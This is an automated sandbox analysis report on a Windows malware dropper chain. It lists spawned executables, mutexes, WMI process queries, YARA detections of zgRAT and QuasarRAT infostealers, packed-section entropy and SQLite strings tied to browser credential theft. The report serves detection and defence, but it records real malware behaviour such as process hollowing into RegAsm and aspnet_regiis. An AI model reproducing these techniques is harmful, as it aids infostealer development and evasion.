Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_075E0920	9_2_075E0920
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_029EDC74	11_2_029EDC74
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_063967D8	11_2_063967D8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_0639A3E8	11_2_0639A3E8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_0639A3D8	11_2_0639A3D8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_06396FF8	11_2_06396FF8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_06396FE8	11_2_06396FE8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07984363	11_2_07984363
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07982010	11_2_07982010
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07980B98	11_2_07980B98
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07980BA8	11_2_07980BA8
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_079812B0	11_2_079812B0
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07982003	11_2_07982003
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_07980040	11_2_07980040
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C386970	18_2_6C386970
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C381300	18_2_6C381300
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C386FC0	18_2_6C386FC0
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C381000	18_2_6C381000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C38F0D0	18_2_6C38F0D0
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C386DD0	18_2_6C386DD0
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C39B235	18_2_6C39B235
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C382750	18_2_6C382750
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01662410	18_2_01662410
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01660FD8	18_2_01660FD8
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01665E88	18_2_01665E88
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01662365	18_2_01662365
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01662D08	18_2_01662D08
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01662CF8	18_2_01662CF8
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01660F59	18_2_01660F59
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01665E62	18_2_01665E62
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_01660EE5	18_2_01660EE5

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: String function: 6C390350 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: String function: 00AAB960 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00407D30 appears 55 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472

Source: mlk3kK6uLZ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: mlk3kK6uLZ.exe	Static PE information: Section: ZLIB complexity 0.9985004696038251
Source: mlk3kK6uLZ.exe	Static PE information: Section: lkmvftub ZLIB complexity 0.9946698819423253
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9985004696038251
Source: axplong.exe.0.dr	Static PE information: Section: lkmvftub ZLIB complexity 0.9946698819423253
Source: leg222[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9956070909468439
Source: leg222.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9956070909468439

Source: 5.2.RegAsm.exe.482040.2.raw.unpack, Strings.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, yBQYZwZvTcsA2wxVsly.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, yBQYZwZvTcsA2wxVsly.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 34.3.espartu.exe.11cca80.0.raw.unpack, PBE.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 34.3.espartu.exe.11cca80.0.raw.unpack, Strings.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 34.3.espartu.exe.12121c0.1.raw.unpack, PBE.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 34.3.espartu.exe.12121c0.1.raw.unpack, Strings.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@65/23@4/100

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\110000000011111
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5044:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6472
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3364:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\80038a66-0dbb-4135-8eb1-4ce5a34ce41b
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4952:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5900:64:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Mutant created: \Sessions\1\BaseNamedObjects\DfqPKn01iO
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

File created: C:\Users\user\AppData\Local\Temp\8254624243

Jump to behavior

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp, aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: aspnet_regiis.exe, 00000014.00000003.2710989664.0000000023534000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2730606758.0000000023526000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: aspnet_regiis.exe, 00000014.00000002.2824599742.000000001D471000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2837177206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: ZharkBOT.exe, 0000001D.00000002.3904522113.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000000.3896429472.0000000001060000.00000002.00000001.01000000.0000001D.sdmp, ZharkBOT.exe, 0000001D.00000003.3897920395.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000020.00000000.3901935044.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000020.00000002.3903141134.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000000.3921843845.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000021.00000002.4375173768.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000000.3993031251.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000022.00000002.4452661019.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000000.4074250002.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp, espartu.exe, 00000027.00000002.4075909460.0000000000A00000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: mlk3kK6uLZ.exe	ReversingLabs: Detection: 63%
Source: mlk3kK6uLZ.exe	Virustotal: Detection: 71%

Source: mlk3kK6uLZ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

File read: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mlk3kK6uLZ.exe "C:\Users\user\Desktop\mlk3kK6uLZ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe "C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe"
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6472 -s 284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe "C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe"
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe "C:\Users\user\AppData\Roaming\VP2pdCInvS.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe "C:\Users\user\AppData\Local\Temp\1000202001\hello.exe"
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe "C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe"
